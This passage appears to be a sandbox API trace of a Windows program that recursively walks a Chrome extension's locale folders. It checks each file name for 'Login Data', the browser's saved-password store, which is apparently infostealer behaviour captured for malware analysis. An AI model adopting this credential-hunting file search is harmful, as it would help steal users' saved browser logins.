hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0 [0056.594] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.594] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.594] LocalFree (hMem=0x2dc3f8) returned 0x0 [0056.594] FindNextFileA (in: hFindFile=0x2dc978, lpFindFileData=0x21f0c0 | out: lpFindFileData=0x21f0c0) returned 1 [0056.594] lstrcmpiA (lpString1=".", lpString2="sr") returned -1 [0056.594] lstrcmpiA (lpString1="..", lpString2="sr") returned -1 [0056.594] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.594] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.594] lstrlenA (lpString="\\") returned 1 [0056.594] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc2e8 [0056.594] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.594] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.594] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.594] lstrlenA (lpString="sr") returned 2 [0056.594] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc3f8 [0056.594] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.594] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="sr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr" [0056.594] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.594] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr") returned 131 [0056.594] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr") returned 131 [0056.594] lstrlenA (lpString="\\*.*") returned 4 [0056.594] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc2e8 [0056.594] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr" [0056.594] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\*.*" [0056.594] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.594] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.594] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 1 [0056.594] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.594] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.594] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 1 [0056.594] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.594] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0 [0056.594] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.594] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.594] LocalFree (hMem=0x2dc3f8) returned 0x0 [0056.595] FindNextFileA (in: hFindFile=0x2dc978, lpFindFileData=0x21f0c0 | out: lpFindFileData=0x21f0c0) returned 1 [0056.595] lstrcmpiA (lpString1=".", lpString2="sv") returned -1 [0056.595] lstrcmpiA (lpString1="..", lpString2="sv") returned -1 [0056.595] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.595] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.595] lstrlenA (lpString="\\") returned 1 [0056.595] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc2e8 [0056.595] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.595] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.595] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.595] lstrlenA (lpString="sv") returned 2 [0056.595] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc3f8 [0056.595] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.595] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="sv" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv" [0056.595] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.595] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv") returned 131 [0056.595] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv") returned 131 [0056.595] lstrlenA (lpString="\\*.*") returned 4 [0056.595] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc2e8 [0056.595] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv" [0056.595] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\*.*" [0056.595] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.595] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.595] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 1 [0056.595] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.595] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.595] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 1 [0056.595] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.595] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0 [0056.595] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.595] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.595] LocalFree (hMem=0x2dc3f8) returned 0x0 [0056.595] FindNextFileA (in: hFindFile=0x2dc978, lpFindFileData=0x21f0c0 | out: lpFindFileData=0x21f0c0) returned 1 [0056.595] lstrcmpiA (lpString1=".", lpString2="th") returned -1 [0056.595] lstrcmpiA (lpString1="..", lpString2="th") returned -1 [0056.595] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.595] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.595] lstrlenA (lpString="\\") returned 1 [0056.595] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc2e8 [0056.595] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.595] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.595] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.595] lstrlenA (lpString="th") returned 2 [0056.595] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc3f8 [0056.595] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.595] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="th" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th" [0056.595] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.596] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th") returned 131 [0056.596] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th") returned 131 [0056.596] lstrlenA (lpString="\\*.*") returned 4 [0056.596] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc2e8 [0056.596] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th" [0056.596] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\*.*" [0056.596] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.596] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.596] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 1 [0056.596] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.596] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.596] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 1 [0056.596] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.596] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0 [0056.596] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.596] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.596] LocalFree (hMem=0x2dc3f8) returned 0x0 [0056.596] FindNextFileA (in: hFindFile=0x2dc978, lpFindFileData=0x21f0c0 | out: lpFindFileData=0x21f0c0) returned 1 [0056.596] lstrcmpiA (lpString1=".", lpString2="tr") returned -1 [0056.596] lstrcmpiA (lpString1="..", lpString2="tr") returned -1 [0056.596] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.596] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.596] lstrlenA (lpString="\\") returned 1 [0056.596] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc2e8 [0056.596] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.596] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.596] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.596] lstrlenA (lpString="tr") returned 2 [0056.596] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc3f8 [0056.596] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.596] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="tr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr" [0056.596] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.596] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr") returned 131 [0056.596] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr") returned 131 [0056.596] lstrlenA (lpString="\\*.*") returned 4 [0056.596] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc2e8 [0056.596] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr" [0056.596] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\*.*" [0056.596] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.596] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.596] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 1 [0056.597] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.597] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.597] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.597] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.597] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.597] LocalFree (hMem=0x2dc3f8) returned 0x0 [0056.597] lstrcmpiA (lpString1=".", lpString2="uk") returned -1 [0056.597] lstrcmpiA (lpString1="..", lpString2="uk") returned -1 [0056.597] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.597] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.597] lstrlenA (lpString="\\") returned 1 [0056.597] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc2e8 [0056.597] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK 